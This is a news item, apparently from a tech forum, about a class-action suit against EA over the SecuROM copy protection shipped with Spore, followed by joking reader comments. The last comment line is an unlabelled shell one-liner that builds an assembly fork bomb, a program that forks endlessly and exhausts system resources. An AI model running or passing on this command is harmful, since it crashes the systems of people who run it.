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EA Hit By Class-Action Suit Over Spore DRM
The ever-growing unrest caused by the DRM involved with EA's launch of Spore came to a head on Monday. A woman named Melissa Thomas filed a class-action lawsuit against EA for their inclusion of the SecuROM copy-protection software with Spore. This comes after protests of the game's DRM ranged from a bombardment of poor Amazon reviews to in-game designs decrying EA and its policies. Some of those policies were eased, but EA has also threatened to ban players for even discussing SecuROM on their forums. The court documents (PDF) allege:
"What purchasers are not told is that, included in the purchase, installation, and operation of Spore is a second, undisclosed program. The name of the second program is SecuROM ... Consumers are given no control, rights, or options over SecuROM. ... Electronic Arts intentionally did not disclose to any such purchasers that the Spore game disk also possessed a second, hidden program which secretly installed to the command and control center of the computer."
Where's the command and control center of my computer? I don't remember putting that in there!
If I ever sold anything to EA I'd make sure to put in the EULA somewhere that I get to crack them in the face with a lump of wood then key their car. When the cops arrive, assuming they don't shoot me out of hand, I will simply say that I am preforming services for which I was paid- and present them the EULA detailing as much.
I mean, that's effectively what they're doing. EA are selling one piece of software but not disclosing that it comes with a second, potentially damaging, piece of software which I Do Not Want(tm).
Check out my sci-fi book "Lacuna" at http://goo.gl/MVxX8
"Don't trust anyone under 25" - Everybody over 25 ;)
"Trust anyone who is 25" -25 year olds
It's been a long time.
My loathing of DRM software is clashing horribly with my abhorrence of class-action lawsuits! What ever shall I do??
I guess I'll go play Spore until I decide.
In your mid 30's, eh? Miss your good old school techno? ;-)
Fuck systemd. Fuck Redhat. Fuck Soylent, too. Wait, scratch the last one.
The best music (IMO of course) was made in the 80's and 90's.
Yeah, and kids these days won't stay off my lawn! Why won't their parents teach them manners like they did back in my day.
I smoked pot once. But I DID NOT inhale. Will you hire me?
You fail the drugs test. Why would I hire someone who can't figure out how to toke a joint?
"My life is a lie!" - you at 26.
GP meant the 1790's. Kids nowadays.
"My life is a lie!" - you at 26.
"My life is a cake!" - you, confused, at 26.
Don't tell me to get a life. I'm a gamer; I have LOTS of lives!
"Only trust those who are 25i" - Imaginary 25 year olds
Don't trust anyone under 25" - Sauron
Describing them explicitly as "rentals" might dissipate some ire on the limited-installs thing, but it would in no way excuse the practice of PERMANENTLY installing malware on the user's machine, which is what this suit is about.
I dunno, as a Windows geek disassembling and reverse engineering the FREE root kit is often much more fun to me than the game.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;